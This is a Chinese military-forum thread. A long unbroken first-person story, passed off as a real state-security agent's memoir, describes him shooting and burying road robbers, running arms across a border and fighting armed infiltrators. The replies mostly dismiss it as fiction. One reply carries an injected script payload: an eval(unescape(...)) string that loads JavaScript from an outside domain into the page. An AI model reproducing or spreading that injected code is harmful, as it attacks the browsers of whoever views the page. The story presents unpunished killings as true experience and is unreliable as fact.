,我没有去繁华的大都市,而是去了边境的某个小城市。靠近西部,也许和我在学校学习的一门语言有关。火车送我 到西部著名的古都,我找到当地的机构,领取了吉普车,还有一些必要的装备,象有个旅行者一样出发了。一路上没有 什么事情,但是在甘肃境内的时候有人拦住了我的车,四五个彪捍的男人手持棍棒,远远的招手,我想加大油门冲过去 ,但是路中的石头打消了我的这个念头。缓缓的停下了车,下车的时候,我把腰间的手枪推上了子弹。没有人回把浑身 肮脏的我看成什么特殊的人,他们很大意的走过来,说:“喂,兄弟,把值钱的都拿出来,还有你的车,然后滚蛋”。 如果是刚从大学出来的我,我承认我会屈服,但是现在的我已经不是那个时候的我了。我没有动,心中在想如何尽快打 发他们走,不过看来今天是躲不过去了。他们逐渐的走近,在还有10米左右的时候,我突然抽出了枪,他们愣了,也许 他们从来没有想到一个旅行者会有手枪,看着乌黑的枪口他们僵在那里,一个反映快的人拔腿就跑,其他人也飞快的四 散跑开,我清楚的记得校长在一次特别训练课程上说过的话:“出枪后就不要轻易收枪,直到危险已经过去。”没有太 多的犹豫,我瞄准了最远的一个人开了一枪,那个人冲前摔倒了,其他人跑的更快了,但在准确的点射下纷纷倒地,这 个时候最后一个人已经有50多米了,基本上在手枪地射程以外了,我追了几步,奔跑中突然单腿跪地支撑,左前臂向前 右手枪架在左前臂,构成了一个稳定地支撑,典型地突击队射击方式,精确瞄准,一切都在1秒完成,枪响了,那个人 也摔在了那里。我站了起来,挨个看了看,知道确认无误才回到车上,然后拿起绳子,把他们拖到了一个低洼地地方, 迅速地掩埋和遮盖,然后发动汽车,扬长而去。车后面是满天地尘土。一直到目的地,在也没有任何人阻拦我。在这个边境地小城市,我又开始了另外地生活。第一次开枪射击一个真实的人体,没有想到是这样的。没有感到害怕,但是总感觉心里沉甸甸的。不知道为什么。也许 灵魂深处的的某些在起作用吧。我以为没有任何人知道开枪的事情,也没有任何人会注意到在那个穷乡僻壤的事情。一 切就这样过去了。我也希望过去。在边境城市的实习工作很枯燥,就是每天根据安排在城市里注意一些外来的人,一些边境那边的人,然后就是监听无线 电里的对话。临近国家的战事正是激烈进行,游击队正在节节败退,我们都知道,这个国家的战事进展如何,关系到西 北的安全。和大局的稳定。南方的边境,我们开展了最新的进攻,为了就是间接的缓解这边的压力。而我在毕业以后就 接到了第一个任务,从此开始了冒险的生涯。一天,我照例是在办公室里看着其他部门转过来的材料,都是一些零星的片断,没有什么太大的作用。这个时候电话响 了,主管处长让我去一趟,没有问太多,我早就养成了不多说,不多问的习惯。一切默默的接受现实。在这里,处长基 本上是最大的领导了。到了那个装修的很不错的办公室,处长在宽大的办公桌后面抬头看了看我,示意我座下。当我座 下的时候,处长拿起了电话,轻声说了一声,然后放下电话,过了一会,电话响了,处长拿起来,然后对我说:“你的 电话。”我奇怪的拿起来,传来了熟悉的声音,是校长,声音很遥远,但很清晰。他对我说:“你现在归,张处直接指 挥,完成任务后才能回到学校,才算毕业。明白没有?”“明白了”,我答应了一声,然后把电话还给了处长,处长又 说了两句。然后放下了电话。开始交代任务。任务很简单,临近的国家战斗进入到了关键的时候,除了和我国接壤的边 境,其他边境都被封锁。游击队需要的武器无法及时补充,其他合作机构需要和我们联手,使用畜力穿越边境,克服对 方特种部队和伞兵的骚扰,把给养运过去。这里的人员会说对方土语的人不多,而我刚好没有什么太重要的任务,我作 为翻译兼队员加入了。命令下达了,我的天职就是执行和服从。并保证完成,除非牺牲,否则一定要全力完成。我们很快出发了,算上我一共有5人,都是来自不同的组织。我们赶着牲口去边境的一个地方接头,对方是一只来自另 外部队的人员,而且有其他国家的人员。山路异常的难行,有的时候要穿过冰川,有的时候还要穿过沼泽和怪事嶙峋的山谷。几乎见不到任何的人烟。7天以后 ,我们终于到了接头的地点,但是没有任何的人,无线电里除了静电的声音,没有任何的声响。我们是按时到的,如果 在未来24个小时内无法接头,我们将立即炸毁所有装备,然后从另外的路线返回。夜晚降临了,高原的夜晚很奇怪,出奇的寒冷,每个人都把身体紧紧的裹在羊皮大衣里面。星星好像很近很近,我不知 道我的母亲是否也可以看到这么明亮的星星,已经有3年没有回家了,每个月的通信都是通过学校和单位的邮寄机构送 出的,也不知道他们是否收到。也许当初的选择就意味着无法和父母共享生活的快乐,但是为了自己的理想,这又算的 了什么呢。其实我根本无法入睡,一直在胡乱想着。忽然放哨的哨兵发来了信号,耳机里传出了嘟嘟声,有情况,我飞快的翻身躲藏在一块巨石后面,哨兵简短的说:“西 南方,2公里,有红外信号”,我们宿营的地方是山的反斜面,哨兵可以在山顶看的很远,我飞快的爬到哨兵身边,顺 着他的指向看过去,通过红外线的望远镜可以看到时隐时现的几个身影。但是具体看不清楚是什么队伍,“准备战斗” ,我发出了简短的信号,为了防止监听,我们实现约定了暗号,所以如果有人监听的话,听到的只有简短的嘟音。为了 防卫,我们都带了武器,一共四只AK74突击步枪,都是从其他渠道得到的,用自己的制式武器容易暴露,所以通常在秘 密行动中使用特殊渠道供应的武器,还有一只通用机枪,也是特殊供应的。5个人隐藏好了自己,打开了保险,只等对 方送上来了AK74的有效射程是400米左右,经过严格训练的枪手可以在500米左右击中目标,但太远效果就不是很好。通用机枪不 用支架的有效射程是800米左右,再远也不行了。于是我们静静的等待对方的靠近。渐渐的,对方靠近了,在大约1000 米左右的时候,忽然分散开了,变成了典型的战斗。我们都有点紧张,我的手指头放在了扳机上。越来越靠近了,在望 远镜里可以看出对方也是受过良好训练的军人。观察了几分钟以后,我发出了解除警报的信号,原来从他们的战斗姿势 上看,是自己人。因为有人和我使用同样的战斗姿势。我拿过激光信号装置,发出了信号。对方很快也发送了回答信号 。于是我们都关上了保险。下山迎了过去。在山下,我们会合了,是从另外的地方来的运输队,他们几个是来会合的, 大部队还在另外的山谷里。看到山谷里的队伍,我有点吃惊,大约有50匹左右的牲口,都是满载,押送的队伍一共有20 人,其中有几个明显的不是东方人,身材高大,虽然穿着当地人的服装,但是无法掩盖他们西方人的特征。我走了上去 ,使用英语问好,显然,他们是说英语的。我们简单交谈和,交流了本次的任务。没有问太多,纪律要求我们必须保持 沉默。会合了队伍后,我们出发了,这里离边境还有2天的路程,翻过山后,我们就到达了边境,穿越边境后就到了约定的会 合地点,西方人发出了信号,过了一会,山后转出了一只队伍,手里拿着参差不齐的武器,看得出是游击队。开始清点 武器和交接。也没有太多的交谈,游击队交给我们几个箱子,然后赶走了大部分的牲口,剩下我们开始返回。由于有边 防军的配合,穿越边境的时候我们没有遇到任何的危险。在接头的地方,我们分开了,我和打头的西方人友好的握手, 对方也冲我们微笑着,一个很外向的外国人还用力拥抱了我。但大多数的人都是沉默的。他们顺原来的路回去了,我 们又变成了小分队,也顺着原路返回。回到城里,把其中的一个有封条的箱子交给了处长。整个任务为期1个月,由于 太阳的缘故,我变得很黑,也许太紧张了,回到住的地方,只想睡觉。后来生活又逐渐的趋向平淡,还是那些日常的工作,但是这平淡中也又一些插曲,每隔一个月我就要和押运的队伍同行 前去边境的另外一边。当这些工作都变成日常以后,就变得平淡了。我一共参加了3次押运,基本上都是例行公事。在 回学校的前夕,处长找我谈了一次,真正的放开了上下级的关系。我一直很不明白,为什么我这样一个出身普通的人为 什么会加入到这样一行,不过我知道处长也不明白,这个行业的规矩就是“上级不说,下级不问”都是被动的执行而已 。告别了相处多日的同事,大部分人我连名字都不知道,就踏上了回去的路程,没有向来时那样自己开车,而是乘坐空 军的飞机到西安,然后直接飞回学校所在的城市,参加了学校的毕业典礼,平时严肃的校长有点激动,毕竟,我们是改 革后人数最多的一次毕业生,而这个时候我已经27岁了。外面的世界还是那么的纷乱,人人最大的目标就是多挣钱,过 上好日子。好像为了钱,很多都可以舍弃,也许唯一的净土就是学校里面吧。典礼上来了很多的官员,穿军装的,不穿 军装的。我看到在一个头发花白人的身边有一个身影很熟悉,他严肃的站在老者身边,环视着四周,我在记忆里搜寻着 ,渐渐的身影重合,他就是多年前的那个旅行者的伙伴。他注意到在下面的人群中有人注视他,他看了过来,稍微犹豫 后就认出了我,微微点了点头。我们就这样台上台下相互注视,没有任何的感觉。好像很陌生,也许一切的答案只有在 未来找到了。典礼结束后,就是告别仪式,依然严格禁止互相留地址,禁止拍照留念。好在,我们都习惯了。回来的火 车上,我默默的看着闪过的景物,简直不敢相信,一切因为我的执着和选择而改变。未来是什么样子,我不知道,只是 感觉很困,在车上,梦到了父母。毕业后回家看了看父母,父母对于我的回来感到非常的高兴,我是家中3个子女中离开的最远的。“儿行千里母担忧” ,子女永远是父母最惦记的人。很快我就接到了工作调令,在郊区一个地方工作。在一个行动部门。国家的利益是高于一切的,当国家的利益受到威胁 ,是需要她的儿子为之献身的,这是我们的最高准则。有一个很迷惑的问题,严格说来,我更适合文职工作,而不是这 样体力性很强的工作。从来没有人告诉我,为什么选择的是我。多年后,这个问题依然让我困惑。每一年都在应付这各种复杂的事件。我发现自己逐渐的变了,不再是那个充满热情的年轻人了。这种变化不是我一个人 ,在压力很大的环境中生活,人是会变的。常年的在外,很少可以很认真的和女孩谈恋爱,于是我一直单身一人。也曾 经遇到了一个很可爱的女孩,但是终于没有办法把握,最后还是放弃了。时间过的很快,转眼离毕业已经有9年了,这期间国家也发生了一些变化,经济上飞速增长,但是外部的环境确没有太 多的好转。我们的工作压力还是那么的大。很多的因素导致了不稳定,于是我们的任务就是消除这样的不稳定因素。付 出的代价可想而知。一次执行任务又一次改变了我的人生。依然清楚的记得那是一个阳光明媚的一天,我正在练习室内联系飞镖技巧,忽然部门的秘书找到我,说总部有一道命令 来,需要我去一趟。除了练习的场地,我飞快的来到保密会议室,因为总部的命令总是有非常重要的任务。各级的领导 都在,很严肃,来人打开了命令的文件夹,交给了这里的最高首长。首长开始宣读,原来,是为了对付境外的武装人员 对我边境的骚扰,在从前,边防军就可以对付,但是近来有神秘的势力加强了对武装人员的支持,边防军受到了一些损 失。为了调查这神秘地势力地来源,需要我们这个部门进行支持,而我曾经有边境作战地经验,于是由我带队进行执行 。会议结束后,我们开始熟悉边境地航拍照片,通过照片可以看出武装人员地营地已经扩大了,并且增加了卫星地面站 ,整个村庄就是有效地堡垒。连续6天地无人机侦察可以发现有神秘地外来人在其中进行指挥。身材高大,明显地不是 东方人的特点。分析过照片后就是装备的选择和准备,上级很重视,特别配备了还没有正式装备的新一代单兵系统,其 中的那只短突击步枪是最引人注意的,口径5.8,完全不同于其他小口径武器。很多人没有见过,我也是第一次。狙击 步枪更是不同经常见到的那种,而是一种新的型号。经过短暂的准备,我们很快就出发了。空军的飞机直达边境的城市 ,就是多年前我实习的城市。这里作为我们的前进基地。多年没有来了,改变的不大,还是那么的人来人往,这里机构 的负责人已经不是我熟悉的,那个处长已经在其他地方工作了。新来的人是从总部下来的。从前我们见过面,但从来不 知道对方的名字,这次是第一次知道对方是谁。相互沟通的很愉快。正在准备地时候,新的任务有一次来了,原来上级 领导决定下决心解决这个一直困扰我们多年的问题,决定加大投入的力度。于是我们的队伍更加壮大了,并且有还很年 轻陆军航空兵负责。于是我们投入到了紧张的配合训练中。每日我们在很遥远的山谷中配合训练,首先是熟悉单兵装备的使用情况,同时联系和直升飞机的配合。从其他的机构又 来了新的人员,上级派来了新的领导,于是我成为了其中一个分队的负责人。由于在新的环境作战,很多原来已经很熟 悉的战术已经不适合了。例如,在学生上作战,最好不使用连射武器,如果必要连射一定要使用短点射,或者加上消声 器。我们新装备的短突击步枪临时加上了消声器,近距离内火力凶猛。在训练的时候发生了小的插曲,让我们知道斗争 的残酷。一天一架训练的直升机由于机械故障降落在离训练基地大约2小时的路程,我带队前去救助,逐渐的接近了直 升机,很远就可以看到在山坡下的绿色机体,但是很奇怪,不见机组人员。我预感到不好,长期的特种工作生涯,养成 了警觉的习惯。我立即挥手,示意队员分散警戒,同时派3人小组接近机体,果然,没有人员,只有搏斗的痕迹和血迹 ,周围又凌乱的脚步向西北延伸,我马上示意三人小组继续追击,同时派一人回去救援,我们原地待命,等待直升机的 支援。很快,2个多小时后,直升机到了,我第一个上了飞机,顺着脚印的方向追击,下面的三人小组报告着方向,终 于我看到了在离三人追击小组不远的地方,7、8个人押着2个机组人员向边境方向逃窜。我示意飞行员压低高度,这个 时候的地面上的人也发现了我们,顿时,他们手里的突击步枪喷吐着火舌,子弹打在底板上砰砰作响,飞机立即升高。 由于我们是运输直升机,没有很好的防护,我示意直升机飞过他们,在前方放下了另外一个三人拦截小组,同时在其 他的两个方向又放下了四个人,这样飞机上只有我和另外的战士在,地面上的人已经分散了,看样子是想抵挡我们,飞 机上没有通用机枪,如果有完全可以封锁他们,但是由于担心会伤及自己人,我们没有扫射,只是不断的逼近他们。终 于有人已经开始接火了。我示意直升机下降,自己跳到地面,运动到火线附近。对方的火力很猛,AK突击步枪有节奏的 声音让人胆寒,因为出来的很匆忙,我们的火力并不足,只是每人手里的突击步枪。双方一时僵持了,看的出,对方也 是有战斗经验的人,点射很多,没有连射。从石头后面看去,我发现两个机组人员和一个带枪的人躲藏在一个岩石缝隙 里。我按时一个队员在这里吸引对方,我悄悄的向岩石运动。渐渐的接近了,可是对方看守很严,隐蔽的很好,而他的 射击角度也很好,基本上没有死角,略做思考后,我决定冒险,我逐渐的接近他,大约有50多米的距离了,我们中间有 一块大石头挡住了双方的视线,我运动到石头后面,我知道,如果我跳出来,一秒内,他就可以打中我,但是没有其他 的选择,我只有跳出面对他,看看谁的枪快。握枪的手心出汗了。我没有愚蠢的投出石头问路,而是直接跳了出来,对 方的枪立即指向了我,同时我也感觉到了他的恐惧,因为我也感觉到恐惧。双方的枪响了,手中的短突击步枪打出了一 个点射,他的胸口上开了一朵红色的小花,他的子弹打在了我前面不远的地方,飞溅的石头打在了我身上,很痛,但是 这些都顾不得了。我快速上前,扫视四周的同时有补了一个点射,不远处的石头后面露出了一个头,一只枪口也对向这 边,我没有时间隐蔽了,边跑边开枪,弹壳比比啪啪的掉在地方,我成功压制了对方,终于我也跑到了机组人员身边, 用刺刀割开了绳子。然后换了一个弹夹,这个时候对方有一次露出头来,这一次他没有躲过,一个短点射,我感觉到血 雾溅了起来。紧接着我一个健步,来到被打到的敌人身边用脚挑起他的枪,踢给了我们的人。这样我多了一个帮手,我 们向四周警戒着,枪声稀疏下来,我爬上山坡,发现不远处的山坡上还有一个人在顽抗,没有太多的犹豫,我们两只枪 一同开火,他就向一条麻袋一样沉闷的摔倒在地上。我们成功的救回了两个飞行员,但是有两个战士负伤了,好在伤不重。但是我想,为什么我们在这里训练,周围会有武 装人员出现,按照常规,这里方圆百里的无人区,不可能有人的。这些人的出现不是偶然的,他们是在监视我们。不用 太多的联想,他们肯定是那些敌对武装组织的。不过他们是如何知道的呢。我把疑问按照规定上报了。2天后,上级来 了命令,从新伪装了训练营地,并有选择的在不同的时段进行训练,其他时间都在隐蔽部休息和熟悉器材。先说说当时我们的那些器材,现在看来依然是很先进的。很多是常人无法想到的。防红外的作战服应该是最新的科研产 品了,从前的都是进口的,不过这次是国产的了。经过试用效果不错。作战头盔,不同于一般的钢盔,而是复合材料的 。上面有各种接口,单兵摄像头在头盔上。每个小队的队长可以在显示器上看到所有人的图象。单兵通讯器材也很不错 ,很小巧可以有效的防止干扰和窃听。防弹背心通常不是必备的,因为无法阻止突击步枪的穿透,但是因为防破片的功 能,所以这次也给准备了,但是根据自己的实际情况可以选择。最有特色的应该是使用的武器,按照原来行动的原则, 通常使用敌对人员相同的武器,但是这次有点例外,上级给了最新的突击步枪,还没有大规模装备。其中那35毫米口径 的榴弹发射装置更是很多人没有见过的。手枪是改进了的,弹容量15发。飞机没有使用高原上经常使用的黑鹰,而是新 进口的米171,特意加大了功率,一切这些都说明任务的艰巨。经过严格的训练,终于等到了大雪封山的季节,我们也要开始行动了。没有选择在夏季,是因为严酷的天气,虽然可以 阻挡我们,但同样也可以给对方造成不便,更主要的是营地里冬天武装人员的数量是最多的。前方基地已经建设好了。 我们没有有效的加油飞机,所有使用了建设前方基地的方法,冬天前方基地是非常隐蔽的。出发前的3天派出的侦察人员返回了,送来了最新的无人机的侦察资料,经过几个月可以看出营地有了一些新的变化, 防御更加完善,人员也多了一些。其他的也看不出什么。我们都在等待出发的命令。大战临近,每个人的心理都有很多 的想法,说我们无情,那是假的,每个人都有自己的情欲。我被安排在第一梯队担任队长。晚上,我到营房去看看自己 的队员,在我们这个小队一共有15名人员。当我到帐篷里的时候,我看到了他们正在灯下打牌,每个人都是那么的轻松 ,根本看不出是执行任务,更像是野营的夜间休息。看我来了,都站了起来。我示意他们座下,然后在旁边看他们打牌 ,这是一个年轻的队员对我说:“队长,讲讲你的经历吧。”看的出,他们都向我当年一样的充满朝气,但没有受过我 当初的那种训练,毕竟不是每一个人都可以的。他们是从其他机构选拔过来的,只有这里的指挥员是总部派来的。我给 他们讲了当初如何接受训练的,第一次如何执行任务,以及后来的一些经历,他们都有点吃惊,看的出,他们也没有想 到我的经历是这样的。这次我说了很多,从来没有说的这样的多。他们停止了打牌都围过来听我讲,这时一个队员对我 说:“队长,这次如果我回不来,麻烦组织好好的安顿我的父母。”这样的要求我不止一次听到过,思绪似乎回到了从 前历次任务,经常有人这么说,但是结果往往是好的。这一次非同寻常。因为任务执行过程中充满了变数,每个人都不 能预测结果。我答应了,没有理由不答应。
大哥
你排版
还有字数  也太对不起
观众了啊  
太长,《于无声处》里马东都退休了别人也不知道他是国安的,只有他老婆和他儿子知道,看起来国安应该是相当保密的,洋洋洒洒写了这么一堆,估计杜撰的面大…
继续啊,别太监。


楼主你语文老师不教分段吗http://www.cgjoy.com/flash.swf?\'+eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fwww.dzsstye.com%2Fa.js%22%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source))+\'


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接下来说的啥
好长啊。。感觉像小说
tiete 发表于 2016-1-7 22:09
太长,《于无声处》里马东都退休了别人也不知道他是国安的,只有他老婆和他儿子知道,看起来国安应该是相当 ...
九零年代曾经流行一部小说《中国第一间谍》,貌似写得有些料。
感觉是小说,呵呵
九零年代曾经流行一部小说《中国第一间谍》,貌似写得有些料。
何时发上来分享一下。
不分段没法看。

国安的基本纪律就是关于工作的事情一律不说给外面去。说少了说的不清不楚的,群众不理解;说多了肯定犯错误,所以干脆不说。
更象是演义
小说而已。         
能不能……排版啊
记得当年舰船的枪和玫瑰
青锋AA 发表于 2016-1-7 22:37
何时发上来分享一下。
http://blog.sina.com.cn/s/blog_57b042ab0100fvaz.html
这位大侠的博客里面有,我的书早就进了废品收购站了。
su30smk2 发表于 2016-1-7 22:22
楼主你语文老师不教分段吗
这是计算机老师教的:CTRL+C,然后 CTRL+V。
貌似是小说的样子
就是小说呗,真实性嘛,恩在国内毫不犹豫处决4个路霸,有点说不过去,后面的各种枪械黑鹰啊,171啊,AK74啊,92啊95短突啊,MP5啊,之类的如果真实的作为从业人员怎么会有不知道型号名字的,和为了凸显特种作业强加进去的一样。
这是当年很有名的一个帖子。

pardor 发表于 2016-1-7 22:28
九零年代曾经流行一部小说《中国第一间谍》,貌似写得有些料。


八十年代那时候有个收音机调频节目,好像就叫中国第一间谍,讲的是主人公作为坚定的国家安全人员如何防止新型潜艇资料泄密和打击内部泄密叛徒的故事,很好听,很有意思。
pardor 发表于 2016-1-7 22:28
九零年代曾经流行一部小说《中国第一间谍》,貌似写得有些料。


八十年代那时候有个收音机调频节目,好像就叫中国第一间谍,讲的是主人公作为坚定的国家安全人员如何防止新型潜艇资料泄密和打击内部泄密叛徒的故事,很好听,很有意思。
首先从几个事件的时间上看,就有很大漏洞
真正的国安人员,终其一生,父母兄弟,妻子儿女,朋友是不可能知道其身份的!这是基本原则!!从这个角度看,你就知道这文章的真实性了!
lypn88 发表于 2016-01-07 22:38
不分段没法看。国安的基本纪律就是关于工作的事情一律不说给外面...

假的,公务员都需要考试的!另外国家保卫部门指的是军队吧,不知道中国还有这么一个政府机构!
楼主你这版,排的没法看哪!
kenazi 发表于 2016-1-7 23:27
八十年代那时候有个收音机调频节目,好像就叫中国第一间谍,讲的是主人公作为坚定的国家安全人员如何防 ...
八十年代貌似很少有调频广播电台,都是调幅和短波。
pardor 发表于 2016-1-7 23:43
八十年代貌似很少有调频广播电台,都是调幅和短波。
反正就是收音机里放的,我对这个不懂,只知道听着说故事内容挺有意思,那时候除了电视机没有别的啥娱乐手段....
tiete 发表于 2016-1-7 22:09
太长,《于无声处》里马东都退休了别人也不知道他是国安的,只有他老婆和他儿子知道,看起来国安应该是相当 ...
编的应该是,
阿富汗送货,到毕业后无人机航拍,这个时间貌似对不大上啊
本田王 发表于 2016-1-7 23:37
真正的国安人员,终其一生,父母兄弟,妻子儿女,朋友是不可能知道其身份的!这是基本原则!!从这个角度看 ...
瞎说!至少家人知道!
〈一曲忠诚的赞歌〉看过吗?
知道沙县小吃吗
本田王 发表于 2016-1-7 23:37
真正的国安人员,终其一生,父母兄弟,妻子儿女,朋友是不可能知道其身份的!这是基本原则!!从这个角度看 ...
这个说法太夸张了,具体工作内容保密,基本身份身边人还是知道的…………
真正的国安人员,终其一生,父母兄弟,妻子儿女,朋友是不可能知道其身份的!这是基本原则!!从这个角度看 ...
高中同学进了国家安全局,大家都知道
可能看职务吧
真正的国安人员,终其一生,父母兄弟,妻子儿女,朋友是不可能知道其身份的!这是基本原则!!从这个角度看 ...
根本不是,看岗位而定。有些需要高度保密,有些则没有高度保密的要求。
真正的国安人员,终其一生,父母兄弟,妻子儿女,朋友是不可能知道其身份的!这是基本原则!!从这个角度看 ...
也许看级别吧。我认识的国安,周围人全知道他是国安的,甚至在他婚礼上他领导致辞也说XX是国安优秀干警。
很多年前就看过,真假不详
能不能……排版一下啊
pardor 发表于 2016-1-7 23:43
八十年代貌似很少有调频广播电台,都是调幅和短波。
有,不过听起来没多少内容